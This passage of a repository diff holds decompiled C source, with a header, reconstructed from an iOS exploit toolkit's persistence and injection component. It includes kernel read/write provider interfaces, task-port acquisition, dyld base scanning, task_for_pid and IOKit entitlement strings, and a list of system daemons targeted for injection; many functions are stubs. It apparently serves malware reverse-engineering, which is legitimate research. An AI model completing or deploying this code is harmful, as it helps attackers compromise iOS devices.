return E2_ERR_NULL;
/* Minimum size: magic(4) + count(4) + 1 entry = 9 bytes */
if (size < 9)
return E2_ERR_BAD_MAGIC;
/* Validate F00DBEEF magic */
foodbeef_container_t *hdr = (foodbeef_container_t *)container;
if (hdr->magic != MAGIC_FOODBEEF)
return E2_ERR_BAD_MAGIC;
/* Get entry count and validate bounds */
if (hdr->entry_count == 0)
return E2_ERR_BAD_MAGIC;
/* Each entry is 16 bytes (foodbeef_entry_t), header is 8 bytes */
uint64_t required = sizeof(foodbeef_container_t) +
((uint64_t)hdr->entry_count * sizeof(foodbeef_entry_t));
if (required > (uint64_t)size)
return E2_ERR_BAD_MAGIC;
/* Create a symbol resolver */
symbol_resolver_t *resolver = NULL;
kern_return_t kr = e2_create_resolver(&resolver);
if (kr != KERN_SUCCESS)
return kr;
/* Use the resolver's lookup function to process the container */
kr = resolver->fn_lookup(resolver->dyld_handle, container, size);
if (kr != KERN_SUCCESS) {
/* Cleanup resolver on failure */
/* e2_destroy_resolver(resolver); — at 0x1dd68 */
return kr;
}
/* Success — store parsed result in output.
* The resolver remains alive; the output object now holds
* a reference to the resolved module context which can be
* used to call fn_dlsym (offset 0x30) on the module. */
/* ... further processing to extract symbol table ... */
return KERN_SUCCESS;
}
+592
View File
@@ -0,0 +1,592 @@
/*
* driver.c - Driver backend initialization and management
*
* Decompiled from entry2_type0x0f.dylib offsets 0x182a80x18740,
* 0xc0940xc3fc, 0xba300xbdd0, 0xb8540xb970
*
* The driver backend is the bridge between the krw provider and the
* actual kernel exploitation primitives in type0x09. It handles:
* - Finding dyld's base address via page scanning
* - Extracting the kernel version from Mach-O headers
* - Setting up IOKit user client connections
* - Dispatching kernel reads/writes through the driver
*/
#include "entry2.h"
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <dlfcn.h>
#include <unistd.h>
#include <mach-o/loader.h>
#include <sys/sysctl.h>
#include <errno.h>
/* Private syscall — no public header */
extern int csops(pid_t pid, unsigned int ops, void *useraddr, size_t usersize);
/* ── e2_init_driver_backend (0x182a8) ────────────────────────────── *
* Heavy initialization of the driver backend context (0x178 bytes).
*
* This function:
* 1. Gets process info via _NSGet* functions
* 2. Finds dyld base address by scanning backwards from dladdr
* 3. Extracts kernel version from dyld's Mach-O header
* 4. Opens /usr/lib/system/libcache.dylib
* 5. Initializes symbol resolver and Mach-O parser
* 6. Sets up IOKit user client connection
*/
kern_return_t e2_init_driver_backend(driver_backend_t *out, driver_t *driver,
void *target, const char *extra)
{
if (!out)
return E2_ERR_NULL;
if (!driver) {
if (!target) return E2_ERR_NULL;
}
/* Allocate backend context */
driver_backend_t *backend = calloc(1, 0x178);
if (!backend) return E2_ERR_ALLOC;
/*
* Step 1: Get process information
*
* These _NSGet* functions provide access to the program's
* argc/argv/environ without going through main(). This works
* even in injected dylibs.
*/
extern void *_NSGetMachExecuteHeader(void);
extern int *_NSGetArgc(void);
extern char ***_NSGetArgv(void);
extern char ***_NSGetEnviron(void);
extern const char **_NSGetProgname(void);
backend->mach_header = _NSGetMachExecuteHeader(); /* +0xC8 */
backend->argc_ptr = _NSGetArgc(); /* +0xD0 */
backend->argv_ptr = _NSGetArgv(); /* +0xD8 */
backend->environ_ptr = _NSGetEnviron(); /* +0xE0 */
backend->progname_ptr = (void *)_NSGetProgname(); /* +0xE8 */
if (!backend->mach_header || !backend->argc_ptr ||
!backend->argv_ptr || !backend->environ_ptr) {
free(backend);
return E2_ERR_INIT;
}
if (!backend->progname_ptr) {
free(backend);
return E2_ERR_INIT;
}
/*
* Step 2: Check sandbox status
*
* Calls a function (0x184d0) that checks if the process is
* sandboxed. This affects which IOKit operations are available.
*/
uint8_t sandbox_result = 0;
kern_return_t kr = 0; /* e2_check_sandbox(&backend->sandbox_result) */
if (kr != KERN_SUCCESS) {
free(backend);
return kr;
}
/* Check extra config flags */
if (extra && *extra) {
/* Additional device-specific initialization (0x19e0c) */
/* This checks SoC type and adjusts behavior */
}
/*
* Step 3: Find dyld base address by scanning memory
*
* Takes the PAC-stripped address of dladdr, rounds down to page
* boundary, then scans backwards page-by-page looking for
* MH_MAGIC_64 (0xFEEDFACF).
*
* asm equivalent:
* ldr x16, [dladdr_got]
* paciza x16
* mov x30, x16
* xpaclri // strip PAC from dladdr ptr
* and x8, x30, #~0xFFF // page-align
* ldr w10, [x8] // read first word
* sub x8, x8, #0x1000 // go back one page
* cmp w10, #0xFEEDFACF // MH_MAGIC_64?
* b.ne loop
*
* Once found, extract kernel version from the Mach-O header at
* offset +0x1008, masked to lower 24 bits.
*/
Dl_info dlinfo;
void *dladdr_ptr = (void *)dladdr; /* get dladdr's own address */
uint64_t stripped = e2_strip_pac((uint64_t)dladdr_ptr);
uint64_t page = stripped & ~0xFFFULL;
/* Scan backwards for MH_MAGIC_64 */
while (*(uint32_t *)page != MAGIC_MH64) {
page -= 0x1000;
}
/* dyld base found at 'page' */
/* Extract kernel version from dyld header + 0x1008 */
uint32_t kver = *(uint32_t *)(page + 0x1008);
backend->kern_version = kver & 0xFFFFFF;
/*
* Step 4: Set up target binding
*
* If we have a driver ref and target, check whether we own
* the target allocation (owns_target flag at +0x10).
*
* If owns_target is true and the target has a release function
* at offset +0x18, we'll call it during cleanup.
*/
bool owns_target = (driver != NULL && target == NULL);
backend->driver_ref = driver;
backend->target_binding = target;
backend->owns_target = owns_target;
/* Copy extra config flags */
if (extra) {
backend->flags_1c = *(uint8_t *)extra;
}
/*
* Step 5: Open libcache.dylib
*
* This is loaded with RTLD_NOLOAD (0x12) which only succeeds
* if already in memory. libcache provides cache management APIs
* used by the symbol resolver.
*/
void *libcache = dlopen("/usr/lib/system/libcache.dylib", 0x12);
backend->libcache_handle = libcache;
/*
* Step 6: Initialize subsystems
*
* Calls two initialization functions:
* 0x13d84: Mach-O parser init — sets up structures for parsing
* the target binary's load commands, segments, etc.
* 0x1b83c: Symbol resolver init — builds a symbol table for
* fast lookups in loaded dylibs.
*
* If either fails, falls back to 0x14714 (minimal init).
*/
kr = 0; /* e2_init_macho_parser(backend) at 0x13d84 */
if (kr != KERN_SUCCESS) {
if (owns_target) {
/* Release target binding: call target[0x20](target, binding) */
}
free(backend);
return kr;
}
kr = 0; /* e2_init_symbol_resolver(backend) at 0x1b83c */
if (kr != KERN_SUCCESS) {
/* Fallback to minimal init: 0x14714 */
if (owns_target) {
/* Release target binding */
}
free(backend);
return kr;
}
/* Success — store backend pointer */
/* *out = backend; */
return KERN_SUCCESS;
}
/* ── e2_driver_cleanup (0xc094) ──────────────────────────────────── *
* Cleans up a driver connection context.
*
* Cleanup order:
* 1. Free IOKit buffers (0xcd00) if present at +0x30
* 2. Close file descriptors (0xfd4c) at +0x28
* 3. Close IOKit connection (0xe178) at +0x18
* 4. If owns_target (+0x08), destroy connection internals (0x185d0)
* 5. Zero out and free the context
*/
kern_return_t e2_driver_cleanup(void *driver_ctx)
{
if (!driver_ctx) return E2_ERR_NULL;
kern_return_t result = KERN_SUCCESS;
/* +0x30: IOKit buffers — cleanup via 0xcd00 */
void *iokit_buf = *((void **)driver_ctx + 6); /* offset 0x30 */
if (iokit_buf) {
/* e2_cleanup_iokit_buffers(iokit_buf) at 0xcd00 */
free(iokit_buf);
}
/* +0x28: file descriptors — close via 0xfd4c */
void *fd_ptr = *((void **)driver_ctx + 5); /* offset 0x28 */
kern_return_t kr1 = 0; /* e2_close_fds(fd_ptr) */
/* +0x18: IOKit connection — close via 0xe178 */
void *iokit_conn = *((void **)driver_ctx + 3); /* offset 0x18 */
kern_return_t kr2 = 0; /* e2_close_iokit(iokit_conn) */
if (result == KERN_SUCCESS) result = kr2;
/* +0x08: owns_target flag */
uint8_t owns = *((uint8_t *)driver_ctx + 8);
if (owns) {
void *conn = *(void **)driver_ctx;
/* e2_destroy_conn_internals(conn) at 0x185d0 */
if (result == KERN_SUCCESS) result = 0; /* kr from destroy */
}
/* Zero and free */
*((void **)driver_ctx + 6) = NULL; /* clear +0x30 */
memset(driver_ctx, 0, 0x30);
free(driver_ctx);
return result;
}
/* ── e2_driver_connect (0xc12c) ──────────────────────────────────── *
* Establishes a connection to the IOKit driver backend.
*
* This validates the Mach-O magic of the loaded driver and
* sets up the IOKit user client connection:
*
* 1. Checks code signing via csops (on older iOS via CS_OPS_CDHASH,
* on newer iOS via CS_OPS_STATUS)
* 2. Gets memory mapping info via the driver's alloc function
* (offset +0x18) with flags 0xF0000
* 3. Validates Mach-O magic: FEEDFACF, CAFEBABE, BEBAFECA, CEFAEDFE
* 4. Allocates driver context (0x38 bytes) for the connection
* 5. Sets up IOKit entitlements for IOSurface/AGX user client access
* 6. Calls through to driver's external method handler
*/
kern_return_t e2_driver_connect(void *dest, void *driver_ref,
void *target, void *binding)
{
if (!dest || !target)
return E2_ERR_NULL;
/* Validate target descriptor version */
uint16_t ver = *(uint16_t *)target;
if (ver != 1) return E2_ERR_NULL;
uint16_t cnt = *(uint16_t *)((uint8_t *)target + 2);
if (cnt == 0) return E2_ERR_NULL;
/*
* Check code signing status
*
* On iOS >= 15.x (detected via dyldVersionNumber comparison),
* uses CS_OPS_CDHASH (5) with 20-byte hash output.
* On older iOS, uses CS_OPS_STATUS (0) with 4-byte output.
*
* This determines if the process has valid signatures,
* which affects what IOKit connections are permitted.
*/
pid_t pid = getpid();
uint8_t cs_info[20] = {0};
extern double dyldVersionNumber;
if (dyldVersionNumber >= /* threshold */(double)0) {
/* Newer path: CS_OPS_CDHASH */
int cs_result = csops(pid, 5 /* CS_OPS_CDHASH */, cs_info, 20);
if (cs_result < 0) {
int err = errno;
if (err != 28 /* ENOSPC */) return err | 0x40000000;
}
} else {
/* Older path: CS_OPS_STATUS */
int cs_result = csops(pid, 0 /* CS_OPS_STATUS */, cs_info + 12, 4);
if (cs_result < 0) return 0; /* errno based error */
}
/*
* Get memory mapping from driver
*
* Calls the target's allocation function (offset +0x18) with
* flags 0xF0000 to get a memory region for the driver connection.
*/
void *mapping = NULL;
uint32_t mapping_size = 0;
/* target->fn_alloc(target, 0xF0000, &mapping, &mapping_size) */
if (!mapping || mapping_size < 0x21)
return E2_ERR_NULL;
/*
* Validate Mach-O magic of the loaded driver
*
* Accepts: MH_MAGIC_64 (FEEDFACF), FAT_MAGIC (CAFEBABE/BEBAFECA),
* MH_CIGAM_64 (CEFAEDFE/CFFAEDFE/CFFAEDFD)
* Also accepts: 0x11205325 range (signed 64-bit Mach-O variants)
*/
uint32_t magic = *(uint32_t *)mapping;
bool valid_magic = (magic == MAGIC_MH64 ||
magic == MAGIC_FAT_BE ||
magic == MAGIC_FAT_LE ||
magic == MAGIC_MH64_LE ||
magic == MAGIC_MH64_BE ||
magic == MAGIC_MH64_BE2);
if (!valid_magic)
return E2_ERR_NULL;
/*
* Allocate driver connection context (0x38 bytes)
*
* If binding is provided (version=2, methods>=2), allocates
* a binding context (0x10 bytes) and copies the reference.
*
* Otherwise, checks for sandbox restrictions (0x184d0) and
* allocates a plain context.
*/
void *conn_ctx = calloc(1, 0x38);
if (!conn_ctx) return E2_ERR_ALLOC;
if (binding) {
/* Binding context: allocate and store reference */
void *bind_ctx = calloc(1, 0x10);
if (!bind_ctx) {
free(conn_ctx);
return E2_ERR_ALLOC;
}
*(void **)bind_ctx = binding;
/* Set up IOKit entitlements via the binding's connect function
* (0xe2dc), using the entitlement XML strings:
*
* For IOKit:
* <dict><key>com.apple.security.iokit-user-client-class</key>
* <array><string>IOSurfaceRootUserClient</string>
* <string>AGXDeviceUserClient</string></array></dict>
*
* For task_for_pid:
* <dict><key>task_for_pid-allow</key><true/></dict>
*/
} else {
/* No binding — check sandbox first */
uint8_t sb = 0;
/* e2_check_sandbox_status(&sb) at 0x184d0 */
if (sb) return E2_ERR_CSOPS;
}
/* Store in output */
*(void **)dest = conn_ctx;
return KERN_SUCCESS;
}
/* ── e2_krw_dispatch (0xba30) ────────────────────────────────────── *
* Core KRW dispatch function — process enumeration + kernel read.
*
* This is the heavyweight function (~700 instructions) that:
* 1. Resolves the target path (strrchr '/' or realpath)
* 2. Creates NSConcreteStackBlock callbacks for process iteration
* 3. Uses sysctl(CTL_KERN, KERN_PROC, KERN_PROC_ALL) to get
* the full process list
* 4. Iterates through each kinfo_proc (0x288 bytes each)
* 5. For matching processes, invokes the callback block
* 6. The callback reads kernel task structures and extracts ports
*
* The NSConcreteStackBlock usage is notable: it creates Objective-C
* compatible block objects on the stack, with PAC-signed invoke
* pointers (pacia x16, x15 where x15 = block + 0x10).
*/
kern_return_t e2_krw_dispatch(uint64_t arg0, ...)
{
const char *target_path = (const char *)arg0;
/* Note: additional args extracted from va_list depending on operation.
* For simplicity, the dispatch logic below shows the process-enum path
* (called from kread with arg0=kaddr, arg1=3). */
if (!target_path)
return E2_ERR_RESOLVE;
/* Validate target_path is non-empty */
if (((uint8_t *)target_path)[0] == 0)
return E2_ERR_RESOLVE;
/* Extract flags from varargs (second argument) */
va_list ap;
va_start(ap, arg0);
uint32_t flags = va_arg(ap, uint32_t);
va_end(ap);
/* Resolve path: if flags & 1, use realpath; else use basename */
char *resolved = NULL;
const char *search_name = target_path;
if (flags & 1) {
resolved = realpath(target_path, NULL);
if (!resolved) {
if (((uint8_t *)target_path)[0] == 0)
return E2_ERR_RESOLVE;
search_name = target_path;
} else {
search_name = resolved;
}
} else {
/* Find basename by looking for last '/' */
const char *slash = strrchr(target_path, '/');
search_name = slash ? slash + 1 : target_path;
if (*search_name == 0)
return E2_ERR_RESOLVE;
}
/*
* Build stack blocks for process iteration.
*
* Block 1 (sp+0x08): per-process callback
* isa = _NSConcreteStackBlock (PAC-signed with pacda)
* flags = 0xC2000000 (from constant pool at 0x1ef80)
* invoke = pacized function pointer
* descriptor = pointer to block descriptor
* captures: search flags, path buffers
*
* Block 2 (sp+0xb8): inner iteration callback
* Similar structure, captures block 1 and output buffer
*/
/* Query process list size */
int mib[4] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0 };
size_t proc_buf_size = 0;
if (sysctl(mib, 4, NULL, &proc_buf_size, NULL, 0) != 0)
goto fail;
if (proc_buf_size == 0)
return KERN_SUCCESS;
/* Allocate and fetch process list */
void *proc_buf = malloc(proc_buf_size * 2); /* 2x for safety */
if (!proc_buf) goto fail;
proc_buf_size *= 2;
if (sysctl(mib, 4, proc_buf, &proc_buf_size, NULL, 0) != 0) {
bzero(proc_buf, proc_buf_size);
free(proc_buf);
goto fail;
}
/*
* Iterate through kinfo_proc entries.
*
* Each entry is 0x288 bytes (struct kinfo_proc on arm64).
* For each entry, invoke the callback block which:
* 1. Compares the process name
* 2. If matched, reads kernel task port via krw
* 3. Stores the port in the output
*/
uint32_t num_procs = (uint32_t)(proc_buf_size / 0x288);
if (num_procs == 0) {
bzero(proc_buf, proc_buf_size);
free(proc_buf);
return KERN_SUCCESS;
}
kern_return_t result = E2_ERR_SYSCTL;
for (uint32_t i = 0; i < num_procs; i++) {
void *entry = (uint8_t *)proc_buf + (i * 0x288);
/* Call block2->invoke(block2, entry) with PAC auth */
/* result = block_invoke(entry); */
if (result == KERN_SUCCESS)
break;
}
/* Check if we found the target */
if (result == KERN_SUCCESS) {
/* Read port from block capture */
/* *out_port = captured_port; */
}
/* Cleanup */
bzero(proc_buf, proc_buf_size);
free(proc_buf);
/* Cleanup resolved path */
if (resolved) {
size_t len = strlen(resolved);
if (len) bzero(resolved, len);
free(resolved);
}
return result;
fail:
if (resolved) {
size_t len = strlen(resolved);
if (len) bzero(resolved, len);
free(resolved);
}
return E2_ERR_SYSCTL;
}
/* ── e2_get_task_port (0xb854) ───────────────────────────────────── *
* Gets a task port via Mach IPC.
*
* Sends a command message (type 5) and receives back:
* - Port right type at offset 0x18
* - Port send count at offset 0x1C
* - The task port itself at offset 0x08
*
* The task port is a mach_port_t that can be used for:
* - mach_vm_allocate / mach_vm_write / mach_vm_protect
* - thread_create_running
* - task_info
*/
kern_return_t e2_get_task_port(mach_port_t port, void *out_rights,
void *arg2, void *out_port, void *arg4)
{
if (port + 1 < 2)
return E2_ERR_VM_FAIL - 0x1D;
/* Allocate response buffer */
void *response = calloc(1, 0x28);
if (!response) return E2_ERR_GENERIC;
/* Send IPC command via 0xcea4 (mach_msg send with type 5) */
kern_return_t kr;
kr = 0; /* e2_ipc_command(port, 5, 0x28, response, cmd) at 0xcea4 */
if (kr != KERN_SUCCESS) goto cleanup;
/* Validate response */
uint32_t resp_type = ((uint32_t *)response)[5]; /* offset 0x14 */
if (resp_type != 5) {
kr = E2_ERR_VM_FAIL;
goto cleanup;
}
uint32_t resp_size = ((uint32_t *)response)[1]; /* offset 0x04 */
if (resp_size != 0x20) {
kr = E2_ERR_VM_FAIL;
goto cleanup;
}
/* Extract results */
if (out_rights) {
*(uint32_t *)out_rights = ((uint32_t *)response)[6]; /* offset 0x18 */
}
/* arg2 corresponds to out_type in the original 7-arg version,
* but krw_get_port passes NULL here (x2 = 0) */
if (arg2) {
*(uint32_t *)arg2 = ((uint32_t *)response)[7]; /* offset 0x1C */
}
kr = KERN_SUCCESS;
if (out_port) {
*(uint32_t *)out_port = ((uint32_t *)response)[2]; /* offset 0x08 */
/* Clear the port from response to prevent double-dealloc */
((uint32_t *)response)[2] = 0;
}
cleanup:
;
/* Deallocate any port rights in response */
uint32_t resp_port = ((uint32_t *)response)[2];
if (resp_port + 1 >= 2) {
mach_port_deallocate(mach_task_self(), resp_port);
}
free(response);
return kr;
}
+480
View File
@@ -0,0 +1,480 @@
/*
* entry2.h - Decompiled header for entry2_type0x0f.dylib
*
* Reverse-engineered from the arm64e binary at:
* payloads/377bed7460f7538f96bbad7bdc2b8294bdc54599/entry2_type0x0f.dylib
*
* This dylib is the persistence/injection component of the Coruna toolkit.
* It obtains kernel read/write primitives from type0x09 (LOADER) via its
* exported _driver symbol, then uses those primitives to inject the MODULE
* (type0x08) into target system daemons.
*
* Exports: _end, _last
*/
#ifndef ENTRY2_H
#define ENTRY2_H
#include <stdint.h>
#include <stddef.h>
#include <stdbool.h>
#include <mach/mach.h>
#include <pthread.h>
/* ── Error codes (observed constants) ──────────────────────────────── */
#define E2_ERR_NULL 0x000AD001 /* null argument */
#define E2_ERR_GENERIC 0x000AD009
#define E2_ERR_ALLOC (E2_ERR_GENERIC + 8) /* 0x000AD011, matches bootstrap ERR_ALLOC */
#define E2_ERR_BAD_MAGIC 0x700B /* note: bootstrap uses 0x700C */
#define E2_ERR_NO_CONTAINER 0x7003
#define E2_ERR_NO_DRIVER 0x5005
#define E2_ERR_BAD_VERSION (E2_ERR_NULL + 9) /* 0x000AD00A */
#define E2_ERR_STAGE 0x0001F039 /* stage validation */
#define E2_ERR_IPC_BASE 0x0001E023
#define E2_ERR_IPC_TIMEOUT (E2_ERR_IPC_BASE + 0x18)
#define E2_ERR_MSG_INVALID 0x0001E03A
#define E2_ERR_MACH_MSG 0x0001F037
#define E2_ERR_VM_FAIL 0x0001E038
#define E2_ERR_CSOPS 0x0001E037
#define E2_ERR_INIT 0x0001200F
#define E2_ERR_NO_FUNC (E2_ERR_NULL + 0xF)
#define E2_ERR_TASK_INFO 0x0001E01D
#define E2_ERR_RESOLVE 0x0001E03F
#define E2_ERR_SYSCTL 0x000AD00B
/* ── Magic values ─────────────────────────────────────────────────── */
#define MAGIC_FOODBEEF 0xF00DBEEF
#define MAGIC_MH64 0xFEEDFACF /* MH_MAGIC_64 */
#define MAGIC_FAT_LE 0xBEBAFECA /* FAT_MAGIC */
#define MAGIC_FAT_BE 0xCAFEBABE /* FAT_CIGAM */
#define MAGIC_MH64_LE 0xCEFAEDFE
#define MAGIC_MH64_BE 0xCFFAEDFE
#define MAGIC_MH64_BE2 0xCFFAEDFD
/* ── Mach trap numbers (raw svc #0x80 wrappers at 0x6000) ─────────── */
#define MACH_TRAP_MACH_VM_DEALLOCATE (-12) /* 0x6080 */
#define MACH_TRAP_MACH_PORT_DEALLOCATE (-18) /* 0x6068 */
#define MACH_TRAP_MACH_PORT_MOD_REFS (-19) /* 0x6098 */
#define MACH_TRAP_MACH_REPLY_PORT (-24) /* 0x6038 */
#define MACH_TRAP_THREAD_SELF (-26) /* 0x6044 */
#define MACH_TRAP_TASK_SELF (-27) /* 0x6050 */
#define MACH_TRAP_HOST_SELF (-28) /* 0x605c */
#define MACH_TRAP_MACH_MSG (-31) /* 0x6074 */
#define MACH_TRAP_PID_FOR_TASK (-47) /* 0x6080 */
/* BSD syscalls */
#define SYS_GUARDED_OPEN_DPROTECTED 360 /* 0x6000 */
#define SYS_GUARDED_WRITE 361 /* 0x601c */
/* ── IOKit entitlement strings (in __cstring) ─────────────────────── */
/*
* "<dict><key>com.apple.security.iokit-user-client-class</key>"
* "<array><string>IOSurfaceRootUserClient</string>"
* "<string>AGXDeviceUserClient</string></array></dict>"
*
* "<dict><key>task_for_pid-allow</key><true/></dict>"
*/
/* ── Driver object returned by type0x09's _driver() ───────────────── *
* This is the same structure as module_vtable_t in bootstrap.h.
* Bootstrap PAC-strips all function pointers at +0x10..+0x48
* after receiving this from _driver(). Entry2 validates
* version==2 and method_count>=2 before use.
*
* Layout confirmed from bootstrap.dylib disassembly at 0x870c0x878c:
* ldr x0, [x8, #0x10] → strip_pac → str x0, [x8, #0x10] (fn_deinit)
* ldr x0, [x8, #0x18] → strip_pac → str x0, [x8, #0x18] (fn_init)
* ...through +0x48
*/
typedef struct driver {
uint16_t version; /* +0x00: must be 2 */
uint16_t method_count; /* +0x02: number of methods, must be >= 2 */
uint64_t _pad; /* +0x04: 8 bytes padding (+4 implicit alignment) */
void *fn_deinit; /* +0x10: module deinit */
void *fn_init; /* +0x18: module init */
void *fn_cleanup; /* +0x20: cleanup handler */
void *fn_command; /* +0x28: command dispatch */
void *fn_30; /* +0x30: additional method */
void *fn_38; /* +0x38: additional method */
void *fn_40; /* +0x40: additional method */
void *fn_48; /* +0x48: additional method */
} driver_t;
/* ── Connection to type0x09 LOADER ────────────────────────────────── */
typedef struct type09_connection {
void *context; /* +0x00: internal driver context (driver_backend_t*) */
void *target_info; /* +0x08: bound target descriptor (driver_t*) */
void *driver_ref; /* +0x10: driver reference for connect (validated in 0x11488) */
void *driver_conn; /* +0x18: active driver connection handle */
} type09_connection_t; /* 0x20 bytes total */
/* ── Type0x09 vtable (created at 0x105a4) ─────────────────────────── */
typedef struct type09_vtable {
uint32_t flags; /* +0x00: 0x20002 */
uint32_t _pad;
void *context; /* +0x08: type09_connection_t* */
void (*fn_close)(void*); /* +0x10: close/cleanup */
void (*fn_alloc)(void*, uint32_t flags, void **out, void *extra);
/* +0x18: allocate memory in type0x09 */
void (*fn_dealloc)(void*);/* +0x20: deallocate */
void (*fn_query)(void*); /* +0x28: query info */
void (*fn_dlsym)(void *ctx, const char *name, void **out);
/* +0x30: resolve symbol from type0x09 */
void (*fn_38)(void*); /* +0x38 */
void (*fn_40)(void*); /* +0x40 */
void (*fn_48)(void*); /* +0x48 */
} type09_vtable_t;
/* ── KRW provider vtable (created at 0x11298) ─────────────────────── */
typedef struct krw_provider {
uint32_t flags; /* +0x00: 0x10003 */
uint32_t _pad;
void *context; /* +0x08: type09_connection_t* */
/* All function pointers are PAC-signed with paciza */
kern_return_t (*close)(void *self);
/* +0x10: 0x11510 — destroy provider, free memory */
kern_return_t (*bind)(void *self, void *target);
/* +0x18: 0x115a8 — bind to target process descriptor */
kern_return_t (*unbind)(void *self);
/* +0x20: 0x11634 — unbind from target, cleanup driver */
kern_return_t (*get_info)(void *self);
/* +0x28: 0x11704 — get driver info via csops */
kern_return_t (*open_rw)(void *self, const char *name,
uint32_t name_len, uint32_t flags, void **out);
/* +0x30: 0x11720 — open a kernel r/w channel */
kern_return_t (*kread)(void *self, uint64_t kaddr, uint32_t type);
/* +0x38: 0x1183c — kernel virtual read (dispatch → 0xba30) */
kern_return_t (*kwrite)(void *self, uint64_t kaddr, void *data,
uint32_t size, ...);
/* +0x40: 0x11898 — kernel virtual write (→ 0xc634) */
kern_return_t (*kexec)(void *self, uint64_t kaddr, ...);
/* +0x48: 0x118d4 — kernel exec/call (→ 0xc870) */
kern_return_t (*kalloc)(void *self, uint64_t addr, void *data,
uint32_t size, ...);
/* +0x50: 0x11914 — kernel allocate (→ 0xc400) */
kern_return_t (*get_port)(void *self, mach_port_t port,
void *out_rights, void *out_port);
/* +0x58: 0x11968 — get task port via krw (→ 0xb854)
* Note: disasm shows only 4 args (self, port, out_rights, out_port).
* Internally calls e2_get_task_port(port, out_rights, 0, out_port, 0) */
kern_return_t (*physrw)(void *self, uint64_t physaddr,
void *buf, uint32_t size);
/* +0x60: 0x1186c — physical memory r/w (→ 0xba30) */
void * (*get_base)(void *self);
/* +0x68: 0x119a0 — get kernel base address */
} krw_provider_t;
/* ── KRW channel (created at 0x11720) ─────────────────────────────── */
typedef struct krw_channel {
uint16_t version; /* +0x00: 1 */
uint16_t _pad02;
uint32_t _pad04;
void *driver_handle; /* +0x08: handle from driver backend */
uint64_t target_addr; /* +0x10 */
uint32_t target_size; /* +0x18 */
uint32_t _pad1c;
void *extra; /* +0x20 */
void (*fn_read)(void*); /* +0x28: PAC-signed read op */
void (*fn_write)(void*); /* +0x30: PAC-signed write op */
void (*fn_info)(void*); /* +0x38: PAC-signed info op */
} krw_channel_t;
/* ── Driver backend context (created at 0x182a8, 0x178 bytes) ─────── */
typedef struct driver_backend {
void *driver_ref; /* +0x00: driver_t* from type0x09 */
void *target_binding; /* +0x08: bound target descriptor */
bool owns_target; /* +0x10: whether we allocated the target */
uint8_t _pad11[0x0B];
uint8_t flags_1c; /* +0x1c */
uint8_t sandbox_result; /* +0x1d */
uint8_t _pad1e[0x02];
void *libcache_handle; /* +0x20: dlopen("/usr/lib/system/libcache.dylib") */
/* ... further fields for symbol resolution, Mach-O parsing ... */
uint32_t kern_version; /* +0x18: extracted from dyld header */
/* ... */
void *mach_header; /* +0xC8: _NSGetMachExecuteHeader() */
void *argc_ptr; /* +0xD0: _NSGetArgc() */
void *argv_ptr; /* +0xD8: _NSGetArgv() */
void *environ_ptr; /* +0xE0: _NSGetEnviron() */
void *progname_ptr; /* +0xE8: _NSGetProgname() */
/* ... rest of 0x178 bytes ... */
} driver_backend_t;
/* ── F00DBEEF container entry (16 bytes each) ─────────────────────── *
* Layout confirmed from bootstrap.dylib at 0x7c9c0x7e0c:
* type_flags at +0x00, flags at +0x04,
* data_offset at +0x08, data_size at +0x0c
*/
typedef struct foodbeef_entry {
uint32_t type_flags; /* upper 16 bits = segment type */
uint32_t flags; /* typically 0x00000003 */
uint32_t data_offset; /* offset within container */
uint32_t data_size; /* size of data */
} foodbeef_entry_t;
/* ── F00DBEEF container header (for custom dlsym at 0x1dc98) ──────── */
typedef struct foodbeef_container {
uint32_t magic; /* 0xF00DBEEF */
uint32_t entry_count;
foodbeef_entry_t entries[]; /* flexible array of 16-byte entries */
} foodbeef_container_t;
/* ── Resolver object (created at 0x1dbc0, 0x38 bytes) ─────────────── */
typedef struct symbol_resolver {
uint32_t flags; /* +0x00: 0x10001 */
uint32_t _pad;
void *dyld_handle; /* +0x08: internal dyld handle */
kern_return_t (*fn_lookup)(void *handle, void *container, uint32_t size);
/* +0x10: symbol lookup function */
kern_return_t (*fn_18)(void*);
/* +0x18 */
kern_return_t (*fn_20)(void*);
/* +0x20 */
kern_return_t (*fn_28)(void*);
/* +0x28 */
kern_return_t (*fn_30)(void*);
/* +0x30 */
} symbol_resolver_t;
/* ── Mach IPC message layout ──────────────────────────────────────── */
typedef struct e2_mach_msg {
mach_msg_header_t header; /* +0x00 */
uint32_t msg_id; /* +0x18: identifies message type */
uint32_t flags; /* +0x1c */
/* payload follows */
} e2_mach_msg_t;
/* ── IPC response (from 0xa908/0xaa00) ────────────────────────────── */
typedef struct ipc_response {
uint32_t field_00; /* +0x00: flags (bit 31 checked) */
uint32_t field_04; /* +0x04: total size */
uint8_t _pad08[0x0C];
uint32_t msg_type; /* +0x14: expected 1 or 2 */
uint32_t name_len; /* +0x18: length of name string */
uint32_t extra_len; /* +0x1c: length of extra data */
char name[]; /* +0x20: null-terminated name, then extra data */
} ipc_response_t;
/* ── Thread worker context (passed to pthread_create at 0xa378) ───── */
typedef struct worker_ctx {
void *fn; /* +0x00: function to call (PAC-signed) */
krw_provider_t *krw; /* +0x08: krw provider */
void *data; /* +0x10: module data buffer */
uint32_t data_len; /* +0x18: module data length */
/* populated before thread spawn, read by worker */
} worker_ctx_t;
/* ── Process name whitelist for daemon matching ───────────────────── */
static const char *g_daemon_whitelist[] = {
"launchd",
"UserEventAgent",
"runningboardd",
"fseventsd",
"misd",
"configd",
"powerd",
"keybagd",
"remoted",
"wifid",
"watchdogd",
"thermalmonitord",
"containermanagerd",
"driverkitd",
"lockdownd",
"AppleCredentialManagerDaemon",
"peakpowermanagerd",
"notifyd",
"cfprefsd",
"apfs_iosd",
"ospredictiond",
"biometrickitd",
"locationd",
"nehelper",
"nesessionmanager",
"CloudKeychainProxy",
"filecoordinationd",
"osanalyticshelper",
"CAReportingService",
"wifianalyticsd",
"logd_helper",
"OTATaskingAgent",
"wifip2pd",
"amfid",
"GSSCred",
"nanoregistrylaunchd",
"mobile_storage_proxy",
"MobileStorageMounter",
"diskimagescontroller",
"online-auth-agent",
"DTServiceHub",
"diagnosticd",
"wifivelocityd",
"deleted_helper",
"coresymbolicationd",
"tailspind",
"backupd",
"SpringBoard",
NULL
};
#define DAEMON_WHITELIST_COUNT 48 /* 48 non-NULL entries; table is 0x190 bytes (50 ptrs) in binary */
/* ── Function declarations ────────────────────────────────────────── */
/* PAC helpers (0x861c0x8664) */
uint64_t e2_pacia(uint64_t ptr, uint64_t ctx);
uint64_t e2_pacda(uint64_t ptr, uint64_t ctx);
uint64_t e2_pacib(uint64_t ptr, uint64_t ctx);
